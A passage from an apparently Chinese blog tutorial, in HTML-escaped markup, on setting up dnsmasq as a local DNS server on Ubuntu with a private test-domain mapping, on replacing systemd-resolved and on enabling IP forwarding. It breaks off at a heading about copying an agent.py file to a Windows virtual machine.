#&amp;nbsp;上游&amp;nbsp;DNS&amp;nbsp;服务器
server=8.8.8.8
server=1.1.1.1
server=/github.com/8.8.8.8
server=/cn/114.114.114.114

#&amp;nbsp;本地域名映射
address=/test.bitcq.net/192.168.152.132

#&amp;nbsp;缓存与性能
cache-size=10000
no-resolv
no-poll

#&amp;nbsp;日志（调试后建议关闭）
#&amp;nbsp;log-queries
#&amp;nbsp;log-facility=/var/log/dnsmasq.log

#&amp;nbsp;防&amp;nbsp;DNS&amp;nbsp;污染（可选）
bogus-nxdomain=114.114.114.114&amp;nbsp;&amp;nbsp;#&amp;nbsp;丢弃伪造的&amp;nbsp;NXDOMAIN&amp;nbsp;响应&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;修改 /etc/resolv.conf 使用 dnsmasq 作为 dns 服务&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-bash&quot;&gt;vim&amp;nbsp;/etc/resolv.conf
nameserver&amp;nbsp;127.0.0.1&lt;/pre&gt;&lt;p&gt;&lt;span style=&quot;font-family: &amp;quot;Segoe UI&amp;quot;, Tahoma, Geneva, Verdana, sans-serif; text-wrap: wrap;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: &amp;quot;Segoe UI&amp;quot;, Tahoma, Geneva, Verdana, sans-serif; text-wrap: wrap;&quot;&gt;停止并禁用 systemd-resolved&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: &amp;quot;Segoe UI&amp;quot;, Tahoma, Geneva, Verdana, sans-serif; text-wrap: wrap;&quot;&gt;&lt;/span&gt;&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-bash&quot;&gt;sudo&amp;nbsp;systemctl&amp;nbsp;stop&amp;nbsp;systemd-resolved.service
sudo&amp;nbsp;systemctl&amp;nbsp;disable&amp;nbsp;systemd-resolved.service&lt;/pre&gt;&lt;p&gt;&lt;span style=&quot;font-family: &amp;quot;Segoe UI&amp;quot;, Tahoma, Geneva, Verdana, sans-serif; text-wrap: wrap;&quot;&gt;手动创建 dnsmasq.service 文件&lt;/span&gt;&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-bash&quot;&gt;sudo&amp;nbsp;nano&amp;nbsp;/etc/systemd/system/dnsmasq.service

[Unit]
Description=DNS&amp;nbsp;caching&amp;nbsp;forwarder
After=network.target

[Service]
ExecStart=/usr/sbin/dnsmasq&amp;nbsp;-k
Restart=always
RestartSec=3

[Install]
WantedBy=multi-user.target&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: &amp;quot;Segoe UI&amp;quot;, Tahoma, Geneva, Verdana, sans-serif;&quot;&gt;某些系统（如 Ubuntu +&amp;nbsp;&lt;/span&gt;&lt;code class=&quot;&quot; style=&quot;--tw-border-spacing-x: 0; --tw-border-spacing-y: 0; --tw-translate-x: 0; --tw-translate-y: 0; --tw-rotate: 0; --tw-skew-x: 0; --tw-skew-y: 0; --tw-scale-x: 1; --tw-scale-y: 1; --tw-pan-x: ; --tw-pan-y: ; --tw-pinch-zoom: ; --tw-scroll-snap-strictness: proximity; --tw-gradient-from-position: ; --tw-gradient-via-position: ; --tw-gradient-to-position: ; --tw-ordinal: ; --tw-slashed-zero: ; --tw-numeric-figure: ; --tw-numeric-spacing: ; --tw-numeric-fraction: ; --tw-ring-inset: ; --tw-ring-offset-width: 0px; --tw-ring-offset-color: #fff; --tw-ring-color: rgba(59,130,246,.5); --tw-ring-offset-shadow: 0 0 #0000; --tw-ring-shadow: 0 0 #0000; --tw-shadow: 0 0 #0000; --tw-shadow-colored: 0 0 #0000; --tw-blur: ; --tw-brightness: ; --tw-contrast: ; --tw-grayscale: ; --tw-hue-rotate: ; --tw-invert: ; --tw-saturate: ; --tw-sepia: ; --tw-drop-shadow: ; --tw-backdrop-blur: ; --tw-backdrop-brightness: ; --tw-backdrop-contrast: ; --tw-backdrop-grayscale: ; --tw-backdrop-hue-rotate: ; --tw-backdrop-invert: ; --tw-backdrop-opacity: ; --tw-backdrop-saturate: ; --tw-backdrop-sepia: ; --tw-contain-size: ; --tw-contain-layout: ; --tw-contain-paint: ; --tw-contain-style: ; box-sizing: border-box; border: 0px solid rgb(229, 231, 235); font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &amp;quot;Liberation Mono&amp;quot;, &amp;quot;Courier New&amp;quot;, monospace; font-feature-settings: normal; font-variation-settings: normal; font-size: 12.6px; padding: 0.2em 0.4em; margin: 0px; max-height: 400px; overflow-y: hidden;&quot;&gt;systemd-resolved&lt;/code&gt;&lt;span style=&quot;font-family: &amp;quot;Segoe UI&amp;quot;, Tahoma, Geneva, Verdana, sans-serif;&quot;&gt;）可能会&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;--tw-border-spacing-x: 0; --tw-border-spacing-y: 0; --tw-translate-x: 0; --tw-translate-y: 0; --tw-rotate: 0; --tw-skew-x: 0; --tw-skew-y: 0; --tw-scale-x: 1; --tw-scale-y: 1; --tw-pan-x: ; --tw-pan-y: ; --tw-pinch-zoom: ; --tw-scroll-snap-strictness: proximity; --tw-gradient-from-position: ; --tw-gradient-via-position: ; --tw-gradient-to-position: ; --tw-ordinal: ; --tw-slashed-zero: ; --tw-numeric-figure: ; --tw-numeric-spacing: ; --tw-numeric-fraction: ; --tw-ring-inset: ; --tw-ring-offset-width: 0px; --tw-ring-offset-color: #fff; --tw-ring-color: rgba(59,130,246,.5); --tw-ring-offset-shadow: 0 0 #0000; --tw-ring-shadow: 0 0 #0000; --tw-shadow: 0 0 #0000; --tw-shadow-colored: 0 0 #0000; --tw-blur: ; --tw-brightness: ; --tw-contrast: ; --tw-grayscale: ; --tw-hue-rotate: ; --tw-invert: ; --tw-saturate: ; --tw-sepia: ; --tw-drop-shadow: ; --tw-backdrop-blur: ; --tw-backdrop-brightness: ; --tw-backdrop-contrast: ; --tw-backdrop-grayscale: ; --tw-backdrop-hue-rotate: ; --tw-backdrop-invert: ; --tw-backdrop-opacity: ; --tw-backdrop-saturate: ; --tw-backdrop-sepia: ; --tw-contain-size: ; --tw-contain-layout: ; --tw-contain-paint: ; --tw-contain-style: ; box-sizing: border-box; border: 0px solid #E5E7EB; font-weight: bolder; font-family: &amp;quot;Segoe UI&amp;quot;, Tahoma, Geneva, Verdana, sans-serif;&quot;&gt;屏蔽&amp;nbsp;&lt;code class=&quot;&quot; style=&quot;--tw-border-spacing-x: 0; --tw-border-spacing-y: 0; --tw-translate-x: 0; --tw-translate-y: 0; --tw-rotate: 0; --tw-skew-x: 0; --tw-skew-y: 0; --tw-scale-x: 1; --tw-scale-y: 1; --tw-pan-x: ; --tw-pan-y: ; --tw-pinch-zoom: ; --tw-scroll-snap-strictness: proximity; --tw-gradient-from-position: ; --tw-gradient-via-position: ; --tw-gradient-to-position: ; --tw-ordinal: ; --tw-slashed-zero: ; --tw-numeric-figure: ; --tw-numeric-spacing: ; --tw-numeric-fraction: ; --tw-ring-inset: ; --tw-ring-offset-width: 0px; --tw-ring-offset-color: #fff; --tw-ring-color: rgba(59,130,246,.5); --tw-ring-offset-shadow: 0 0 #0000; --tw-ring-shadow: 0 0 #0000; --tw-shadow: 0 0 #0000; --tw-shadow-colored: 0 0 #0000; --tw-blur: ; --tw-brightness: ; --tw-contrast: ; --tw-grayscale: ; --tw-hue-rotate: ; --tw-invert: ; --tw-saturate: ; --tw-sepia: ; --tw-drop-shadow: ; --tw-backdrop-blur: ; --tw-backdrop-brightness: ; --tw-backdrop-contrast: ; --tw-backdrop-grayscale: ; --tw-backdrop-hue-rotate: ; --tw-backdrop-invert: ; --tw-backdrop-opacity: ; --tw-backdrop-saturate: ; --tw-backdrop-sepia: ; --tw-contain-size: ; --tw-contain-layout: ; --tw-contain-paint: ; --tw-contain-style: ; box-sizing: border-box; border: 0px solid rgb(229, 231, 235); font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &amp;quot;Liberation Mono&amp;quot;, &amp;quot;Courier New&amp;quot;, monospace; font-feature-settings: normal; font-variation-settings: normal; font-size: 12.6px; padding: 0.2em 0.4em; margin: 0px; max-height: 400px; overflow-y: hidden;&quot;&gt;dnsmasq&lt;/code&gt;&amp;nbsp;服务&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Segoe UI&amp;quot;, Tahoma, Geneva, Verdana, sans-serif;&quot;&gt;，需要手动启用：&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Segoe UI&amp;quot;, Tahoma, Geneva, Verdana, sans-serif; text-wrap: wrap;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: &amp;quot;Segoe UI&amp;quot;, Tahoma, Geneva, Verdana, sans-serif; text-wrap: wrap;&quot;&gt;&lt;/span&gt;&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-bash&quot;&gt;sudo&amp;nbsp;systemctl&amp;nbsp;daemon-reload&amp;nbsp;&amp;nbsp;#&amp;nbsp;重新加载&amp;nbsp;systemd&amp;nbsp;配置
sudo&amp;nbsp;systemctl&amp;nbsp;enable&amp;nbsp;--now&amp;nbsp;dnsmasq&amp;nbsp;&amp;nbsp;#&amp;nbsp;启动并设置开机自启&lt;/pre&gt;&lt;p&gt;&lt;span style=&quot;font-family: &amp;quot;Segoe UI&amp;quot;, Tahoma, Geneva, Verdana, sans-serif; text-wrap: wrap;&quot;&gt;&lt;/span&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: &amp;quot;Segoe UI&amp;quot;, Tahoma, Geneva, Verdana, sans-serif; text-wrap: wrap;&quot;&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: &amp;quot;Segoe UI&amp;quot;, Tahoma, Geneva, Verdana, sans-serif; text-wrap: wrap;&quot;&gt;&lt;/span&gt;&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-bash&quot;&gt;systemctl&amp;nbsp;status&amp;nbsp;dnsmasq&lt;/pre&gt;&lt;p&gt;测试：nslookup test.bitcq.net&lt;/p&gt;&lt;p&gt;输出：&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap: nowrap;&quot;&gt;&lt;/span&gt;&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-bash&quot;&gt;Server:127.0.0.1
Address:127.0.0.1#53
Name:test.bitcq.net
Address:&amp;nbsp;192.168.152.132&lt;/pre&gt;&lt;p&gt;&lt;span style=&quot;text-wrap: nowrap;&quot;&gt;&lt;/span&gt;&lt;/p&gt;&lt;h3 style=&quot;--tw-border-spacing-x: 0; --tw-border-spacing-y: 0; --tw-translate-x: 0; --tw-translate-y: 0; --tw-rotate: 0; --tw-skew-x: 0; --tw-skew-y: 0; --tw-scale-x: 1; --tw-scale-y: 1; --tw-pan-x: ; --tw-pan-y: ; --tw-pinch-zoom: ; --tw-scroll-snap-strictness: proximity; --tw-gradient-from-position: ; --tw-gradient-via-position: ; --tw-gradient-to-position: ; --tw-ordinal: ; --tw-slashed-zero: ; --tw-numeric-figure: ; --tw-numeric-spacing: ; --tw-numeric-fraction: ; --tw-ring-inset: ; --tw-ring-offset-width: 0px; --tw-ring-offset-color: #fff; --tw-ring-color: rgba(59,130,246,.5); --tw-ring-offset-shadow: 0 0 #0000; --tw-ring-shadow: 0 0 #0000; --tw-shadow: 0 0 #0000; --tw-shadow-colored: 0 0 #0000; --tw-blur: ; --tw-brightness: ; --tw-contrast: ; --tw-grayscale: ; --tw-hue-rotate: ; --tw-invert: ; --tw-saturate: ; --tw-sepia: ; --tw-drop-shadow: ; --tw-backdrop-blur: ; --tw-backdrop-brightness: ; --tw-backdrop-contrast: ; --tw-backdrop-grayscale: ; --tw-backdrop-hue-rotate: ; --tw-backdrop-invert: ; --tw-backdrop-opacity: ; --tw-backdrop-saturate: ; --tw-backdrop-sepia: ; --tw-contain-size: ; --tw-contain-layout: ; --tw-contain-paint: ; --tw-contain-style: ; box-sizing: border-box; border: 0px solid rgb(229, 231, 235); font-size: 1.6em; margin: 1em 0px 0.4em; font-family: &amp;quot;Segoe UI&amp;quot;, Tahoma, Geneva, Verdana, sans-serif; text-wrap: wrap;&quot;&gt;&lt;span style=&quot;--tw-border-spacing-x: 0; --tw-border-spacing-y: 0; --tw-translate-x: 0; --tw-translate-y: 0; --tw-rotate: 0; --tw-skew-x: 0; --tw-skew-y: 0; --tw-scale-x: 1; --tw-scale-y: 1; --tw-pan-x: ; --tw-pan-y: ; --tw-pinch-zoom: ; --tw-scroll-snap-strictness: proximity; --tw-gradient-from-position: ; --tw-gradient-via-position: ; --tw-gradient-to-position: ; --tw-ordinal: ; --tw-slashed-zero: ; --tw-numeric-figure: ; --tw-numeric-spacing: ; --tw-numeric-fraction: ; --tw-ring-inset: ; --tw-ring-offset-width: 0px; --tw-ring-offset-color: #fff; --tw-ring-color: rgba(59,130,246,.5); --tw-ring-offset-shadow: 0 0 #0000; --tw-ring-shadow: 0 0 #0000; --tw-shadow: 0 0 #0000; --tw-shadow-colored: 0 0 #0000; --tw-blur: ; --tw-brightness: ; --tw-contrast: ; --tw-grayscale: ; --tw-hue-rotate: ; --tw-invert: ; --tw-saturate: ; --tw-sepia: ; --tw-drop-shadow: ; --tw-backdrop-blur: ; --tw-backdrop-brightness: ; --tw-backdrop-contrast: ; --tw-backdrop-grayscale: ; --tw-backdrop-hue-rotate: ; --tw-backdrop-invert: ; --tw-backdrop-opacity: ; --tw-backdrop-saturate: ; --tw-backdrop-sepia: ; --tw-contain-size: ; --tw-contain-layout: ; --tw-contain-paint: ; --tw-contain-style: ; box-sizing: border-box; border: 0px solid #E5E7EB; font-weight: bolder;&quot;&gt;检查并启用 IP 转发&lt;/span&gt;&lt;/h3&gt;&lt;p&gt;&lt;span style=&quot;font-family: &amp;quot;Segoe UI&amp;quot;, Tahoma, Geneva, Verdana, sans-serif; text-wrap: wrap;&quot;&gt;永久生效需修改&amp;nbsp;&lt;/span&gt;&lt;code class=&quot;&quot; style=&quot;--tw-border-spacing-x: 0; --tw-border-spacing-y: 0; --tw-translate-x: 0; --tw-translate-y: 0; --tw-rotate: 0; --tw-skew-x: 0; --tw-skew-y: 0; --tw-scale-x: 1; --tw-scale-y: 1; --tw-pan-x: ; --tw-pan-y: ; --tw-pinch-zoom: ; --tw-scroll-snap-strictness: proximity; --tw-gradient-from-position: ; --tw-gradient-via-position: ; --tw-gradient-to-position: ; --tw-ordinal: ; --tw-slashed-zero: ; --tw-numeric-figure: ; --tw-numeric-spacing: ; --tw-numeric-fraction: ; --tw-ring-inset: ; --tw-ring-offset-width: 0px; --tw-ring-offset-color: #fff; --tw-ring-color: rgba(59,130,246,.5); --tw-ring-offset-shadow: 0 0 #0000; --tw-ring-shadow: 0 0 #0000; --tw-shadow: 0 0 #0000; --tw-shadow-colored: 0 0 #0000; --tw-blur: ; --tw-brightness: ; --tw-contrast: ; --tw-grayscale: ; --tw-hue-rotate: ; --tw-invert: ; --tw-saturate: ; --tw-sepia: ; --tw-drop-shadow: ; --tw-backdrop-blur: ; --tw-backdrop-brightness: ; --tw-backdrop-contrast: ; --tw-backdrop-grayscale: ; --tw-backdrop-hue-rotate: ; --tw-backdrop-invert: ; --tw-backdrop-opacity: ; --tw-backdrop-saturate: ; --tw-backdrop-sepia: ; --tw-contain-size: ; --tw-contain-layout: ; --tw-contain-paint: ; --tw-contain-style: ; box-sizing: border-box; border: 0px solid rgb(229, 231, 235); font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &amp;quot;Liberation Mono&amp;quot;, &amp;quot;Courier New&amp;quot;, monospace; font-feature-settings: normal; font-variation-settings: normal; font-size: 12.6px; padding: 0.2em 0.4em; margin: 0px; text-wrap: wrap; max-height: 400px; overflow-y: hidden;&quot;&gt;/etc/sysctl.conf&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code class=&quot;&quot; style=&quot;--tw-border-spacing-x: 0; --tw-border-spacing-y: 0; --tw-translate-x: 0; --tw-translate-y: 0; --tw-rotate: 0; --tw-skew-x: 0; --tw-skew-y: 0; --tw-scale-x: 1; --tw-scale-y: 1; --tw-pan-x: ; --tw-pan-y: ; --tw-pinch-zoom: ; --tw-scroll-snap-strictness: proximity; --tw-gradient-from-position: ; --tw-gradient-via-position: ; --tw-gradient-to-position: ; --tw-ordinal: ; --tw-slashed-zero: ; --tw-numeric-figure: ; --tw-numeric-spacing: ; --tw-numeric-fraction: ; --tw-ring-inset: ; --tw-ring-offset-width: 0px; --tw-ring-offset-color: #fff; --tw-ring-color: rgba(59,130,246,.5); --tw-ring-offset-shadow: 0 0 #0000; --tw-ring-shadow: 0 0 #0000; --tw-shadow: 0 0 #0000; --tw-shadow-colored: 0 0 #0000; --tw-blur: ; --tw-brightness: ; --tw-contrast: ; --tw-grayscale: ; --tw-hue-rotate: ; --tw-invert: ; --tw-saturate: ; --tw-sepia: ; --tw-drop-shadow: ; --tw-backdrop-blur: ; --tw-backdrop-brightness: ; --tw-backdrop-contrast: ; --tw-backdrop-grayscale: ; --tw-backdrop-hue-rotate: ; --tw-backdrop-invert: ; --tw-backdrop-opacity: ; --tw-backdrop-saturate: ; --tw-backdrop-sepia: ; --tw-contain-size: ; --tw-contain-layout: ; --tw-contain-paint: ; --tw-contain-style: ; box-sizing: border-box; border: 0px solid rgb(229, 231, 235); font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &amp;quot;Liberation Mono&amp;quot;, &amp;quot;Courier New&amp;quot;, monospace; font-feature-settings: normal; font-variation-settings: normal; font-size: 12.6px; padding: 0.2em 0.4em; margin: 0px; text-wrap: wrap; max-height: 400px; overflow-y: hidden;&quot;&gt;&lt;span style=&quot;font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &amp;quot;Liberation Mono&amp;quot;, &amp;quot;Courier New&amp;quot;, monospace; white-space-collapse: preserve; background-color: #F8FAFC;&quot;&gt;sudo vim /etc/sysctl.conf&lt;/span&gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code class=&quot;&quot; style=&quot;--tw-border-spacing-x: 0; --tw-border-spacing-y: 0; --tw-translate-x: 0; --tw-translate-y: 0; --tw-rotate: 0; --tw-skew-x: 0; --tw-skew-y: 0; --tw-scale-x: 1; --tw-scale-y: 1; --tw-pan-x: ; --tw-pan-y: ; --tw-pinch-zoom: ; --tw-scroll-snap-strictness: proximity; --tw-gradient-from-position: ; --tw-gradient-via-position: ; --tw-gradient-to-position: ; --tw-ordinal: ; --tw-slashed-zero: ; --tw-numeric-figure: ; --tw-numeric-spacing: ; --tw-numeric-fraction: ; --tw-ring-inset: ; --tw-ring-offset-width: 0px; --tw-ring-offset-color: #fff; --tw-ring-color: rgba(59,130,246,.5); --tw-ring-offset-shadow: 0 0 #0000; --tw-ring-shadow: 0 0 #0000; --tw-shadow: 0 0 #0000; --tw-shadow-colored: 0 0 #0000; --tw-blur: ; --tw-brightness: ; --tw-contrast: ; --tw-grayscale: ; --tw-hue-rotate: ; --tw-invert: ; --tw-saturate: ; --tw-sepia: ; --tw-drop-shadow: ; --tw-backdrop-blur: ; --tw-backdrop-brightness: ; --tw-backdrop-contrast: ; --tw-backdrop-grayscale: ; --tw-backdrop-hue-rotate: ; --tw-backdrop-invert: ; --tw-backdrop-opacity: ; --tw-backdrop-saturate: ; --tw-backdrop-sepia: ; --tw-contain-size: ; --tw-contain-layout: ; --tw-contain-paint: ; --tw-contain-style: ; box-sizing: border-box; border: 0px solid rgb(229, 231, 235); font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &amp;quot;Liberation Mono&amp;quot;, &amp;quot;Courier New&amp;quot;, monospace; font-feature-settings: normal; font-variation-settings: normal; font-size: 12.6px; padding: 0.2em 0.4em; margin: 0px; text-wrap: wrap; max-height: 400px; overflow-y: hidden;&quot;&gt;取消注释或添加：&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code class=&quot;&quot; style=&quot;--tw-border-spacing-x: 0; --tw-border-spacing-y: 0; --tw-translate-x: 0; --tw-translate-y: 0; --tw-rotate: 0; --tw-skew-x: 0; --tw-skew-y: 0; --tw-scale-x: 1; --tw-scale-y: 1; --tw-pan-x: ; --tw-pan-y: ; --tw-pinch-zoom: ; --tw-scroll-snap-strictness: proximity; --tw-gradient-from-position: ; --tw-gradient-via-position: ; --tw-gradient-to-position: ; --tw-ordinal: ; --tw-slashed-zero: ; --tw-numeric-figure: ; --tw-numeric-spacing: ; --tw-numeric-fraction: ; --tw-ring-inset: ; --tw-ring-offset-width: 0px; --tw-ring-offset-color: #fff; --tw-ring-color: rgba(59,130,246,.5); --tw-ring-offset-shadow: 0 0 #0000; --tw-ring-shadow: 0 0 #0000; --tw-shadow: 0 0 #0000; --tw-shadow-colored: 0 0 #0000; --tw-blur: ; --tw-brightness: ; --tw-contrast: ; --tw-grayscale: ; --tw-hue-rotate: ; --tw-invert: ; --tw-saturate: ; --tw-sepia: ; --tw-drop-shadow: ; --tw-backdrop-blur: ; --tw-backdrop-brightness: ; --tw-backdrop-contrast: ; --tw-backdrop-grayscale: ; --tw-backdrop-hue-rotate: ; --tw-backdrop-invert: ; --tw-backdrop-opacity: ; --tw-backdrop-saturate: ; --tw-backdrop-sepia: ; --tw-contain-size: ; --tw-contain-layout: ; --tw-contain-paint: ; --tw-contain-style: ; box-sizing: border-box; border: 0px solid rgb(229, 231, 235); font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &amp;quot;Liberation Mono&amp;quot;, &amp;quot;Courier New&amp;quot;, monospace; font-feature-settings: normal; font-variation-settings: normal; font-size: 12.6px; padding: 0.2em 0.4em; margin: 0px; text-wrap: wrap; max-height: 400px; overflow-y: hidden;&quot;&gt;net.ipv4.ip_forward = 1&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code class=&quot;&quot; style=&quot;--tw-border-spacing-x: 0; --tw-border-spacing-y: 0; --tw-translate-x: 0; --tw-translate-y: 0; --tw-rotate: 0; --tw-skew-x: 0; --tw-skew-y: 0; --tw-scale-x: 1; --tw-scale-y: 1; --tw-pan-x: ; --tw-pan-y: ; --tw-pinch-zoom: ; --tw-scroll-snap-strictness: proximity; --tw-gradient-from-position: ; --tw-gradient-via-position: ; --tw-gradient-to-position: ; --tw-ordinal: ; --tw-slashed-zero: ; --tw-numeric-figure: ; --tw-numeric-spacing: ; --tw-numeric-fraction: ; --tw-ring-inset: ; --tw-ring-offset-width: 0px; --tw-ring-offset-color: #fff; --tw-ring-color: rgba(59,130,246,.5); --tw-ring-offset-shadow: 0 0 #0000; --tw-ring-shadow: 0 0 #0000; --tw-shadow: 0 0 #0000; --tw-shadow-colored: 0 0 #0000; --tw-blur: ; --tw-brightness: ; --tw-contrast: ; --tw-grayscale: ; --tw-hue-rotate: ; --tw-invert: ; --tw-saturate: ; --tw-sepia: ; --tw-drop-shadow: ; --tw-backdrop-blur: ; --tw-backdrop-brightness: ; --tw-backdrop-contrast: ; --tw-backdrop-grayscale: ; --tw-backdrop-hue-rotate: ; --tw-backdrop-invert: ; --tw-backdrop-opacity: ; --tw-backdrop-saturate: ; --tw-backdrop-sepia: ; --tw-contain-size: ; --tw-contain-layout: ; --tw-contain-paint: ; --tw-contain-style: ; box-sizing: border-box; border: 0px solid rgb(229, 231, 235); font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &amp;quot;Liberation Mono&amp;quot;, &amp;quot;Courier New&amp;quot;, monospace; font-feature-settings: normal; font-variation-settings: normal; font-size: 12.6px; padding: 0.2em 0.4em; margin: 0px; text-wrap: wrap; max-height: 400px; overflow-y: hidden;&quot;&gt;然后生效：&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code class=&quot;&quot; style=&quot;--tw-border-spacing-x: 0; --tw-border-spacing-y: 0; --tw-translate-x: 0; --tw-translate-y: 0; --tw-rotate: 0; --tw-skew-x: 0; --tw-skew-y: 0; --tw-scale-x: 1; --tw-scale-y: 1; --tw-pan-x: ; --tw-pan-y: ; --tw-pinch-zoom: ; --tw-scroll-snap-strictness: proximity; --tw-gradient-from-position: ; --tw-gradient-via-position: ; --tw-gradient-to-position: ; --tw-ordinal: ; --tw-slashed-zero: ; --tw-numeric-figure: ; --tw-numeric-spacing: ; --tw-numeric-fraction: ; --tw-ring-inset: ; --tw-ring-offset-width: 0px; --tw-ring-offset-color: #fff; --tw-ring-color: rgba(59,130,246,.5); --tw-ring-offset-shadow: 0 0 #0000; --tw-ring-shadow: 0 0 #0000; --tw-shadow: 0 0 #0000; --tw-shadow-colored: 0 0 #0000; --tw-blur: ; --tw-brightness: ; --tw-contrast: ; --tw-grayscale: ; --tw-hue-rotate: ; --tw-invert: ; --tw-saturate: ; --tw-sepia: ; --tw-drop-shadow: ; --tw-backdrop-blur: ; --tw-backdrop-brightness: ; --tw-backdrop-contrast: ; --tw-backdrop-grayscale: ; --tw-backdrop-hue-rotate: ; --tw-backdrop-invert: ; --tw-backdrop-opacity: ; --tw-backdrop-saturate: ; --tw-backdrop-sepia: ; --tw-contain-size: ; --tw-contain-layout: ; --tw-contain-paint: ; --tw-contain-style: ; box-sizing: border-box; border: 0px solid rgb(229, 231, 235); font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &amp;quot;Liberation Mono&amp;quot;, &amp;quot;Courier New&amp;quot;, monospace; font-feature-settings: normal; font-variation-settings: normal; font-size: 12.6px; padding: 0.2em 0.4em; margin: 0px; text-wrap: wrap; max-height: 400px; overflow-y: hidden;&quot;&gt;sudo sysctl -p&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code class=&quot;&quot; style=&quot;--tw-border-spacing-x: 0; --tw-border-spacing-y: 0; --tw-translate-x: 0; --tw-translate-y: 0; --tw-rotate: 0; --tw-skew-x: 0; --tw-skew-y: 0; --tw-scale-x: 1; --tw-scale-y: 1; --tw-pan-x: ; --tw-pan-y: ; --tw-pinch-zoom: ; --tw-scroll-snap-strictness: proximity; --tw-gradient-from-position: ; --tw-gradient-via-position: ; --tw-gradient-to-position: ; --tw-ordinal: ; --tw-slashed-zero: ; --tw-numeric-figure: ; --tw-numeric-spacing: ; --tw-numeric-fraction: ; --tw-ring-inset: ; --tw-ring-offset-width: 0px; --tw-ring-offset-color: #fff; --tw-ring-color: rgba(59,130,246,.5); --tw-ring-offset-shadow: 0 0 #0000; --tw-ring-shadow: 0 0 #0000; --tw-shadow: 0 0 #0000; --tw-shadow-colored: 0 0 #0000; --tw-blur: ; --tw-brightness: ; --tw-contrast: ; --tw-grayscale: ; --tw-hue-rotate: ; --tw-invert: ; --tw-saturate: ; --tw-sepia: ; --tw-drop-shadow: ; --tw-backdrop-blur: ; --tw-backdrop-brightness: ; --tw-backdrop-contrast: ; --tw-backdrop-grayscale: ; --tw-backdrop-hue-rotate: ; --tw-backdrop-invert: ; --tw-backdrop-opacity: ; --tw-backdrop-saturate: ; --tw-backdrop-sepia: ; --tw-contain-size: ; --tw-contain-layout: ; --tw-contain-paint: ; --tw-contain-style: ; box-sizing: border-box; border: 0px solid rgb(229, 231, 235); font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &amp;quot;Liberation Mono&amp;quot;, &amp;quot;Courier New&amp;quot;, monospace; font-feature-settings: normal; font-variation-settings: normal; font-size: 12.6px; padding: 0.2em 0.4em; margin: 0px; text-wrap: wrap; max-height: 400px; overflow-y: hidden;&quot;&gt;&lt;br/&gt;&lt;/code&gt;&lt;/p&gt;&lt;h3&gt;&lt;code class=&quot;&quot; style=&quot;--tw-border-spacing-x: 0; --tw-border-spacing-y: 0; --tw-translate-x: 0; --tw-translate-y: 0; --tw-rotate: 0; --tw-skew-x: 0; --tw-skew-y: 0; --tw-scale-x: 1; --tw-scale-y: 1; --tw-pan-x: ; --tw-pan-y: ; --tw-pinch-zoom: ; --tw-scroll-snap-strictness: proximity; --tw-gradient-from-position: ; --tw-gradient-via-position: ; --tw-gradient-to-position: ; --tw-ordinal: ; --tw-slashed-zero: ; --tw-numeric-figure: ; --tw-numeric-spacing: ; --tw-numeric-fraction: ; --tw-ring-inset: ; --tw-ring-offset-width: 0px; --tw-ring-offset-color: #fff; --tw-ring-color: rgba(59,130,246,.5); --tw-ring-offset-shadow: 0 0 #0000; --tw-ring-shadow: 0 0 #0000; --tw-shadow: 0 0 #0000; --tw-shadow-colored: 0 0 #0000; --tw-blur: ; --tw-brightness: ; --tw-contrast: ; --tw-grayscale: ; --tw-hue-rotate: ; --tw-invert: ; --tw-saturate: ; --tw-sepia: ; --tw-drop-shadow: ; --tw-backdrop-blur: ; --tw-backdrop-brightness: ; --tw-backdrop-contrast: ; --tw-backdrop-grayscale: ; --tw-backdrop-hue-rotate: ; --tw-backdrop-invert: ; --tw-backdrop-opacity: ; --tw-backdrop-saturate: ; --tw-backdrop-sepia: ; --tw-contain-size: ; --tw-contain-layout: ; --tw-contain-paint: ; --tw-contain-style: ; box-sizing: border-box; border: 0px solid rgb(229, 231, 235); font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &amp;quot;Liberation Mono&amp;quot;, &amp;quot;Courier New&amp;quot;, monospace; font-feature-settings: normal; font-variation-settings: normal; font-size: 12.6px; padding: 0.2em 0.4em; margin: 0px; text-wrap: wrap; max-height: 400px; overflow-y: hidden;&quot;&gt;从Ubuntu虚拟机上传agent.py文件到win虚拟机&lt;/code&gt;&lt;/h3&gt;&lt;p&gt;&lt;code class=&quot;&quot; 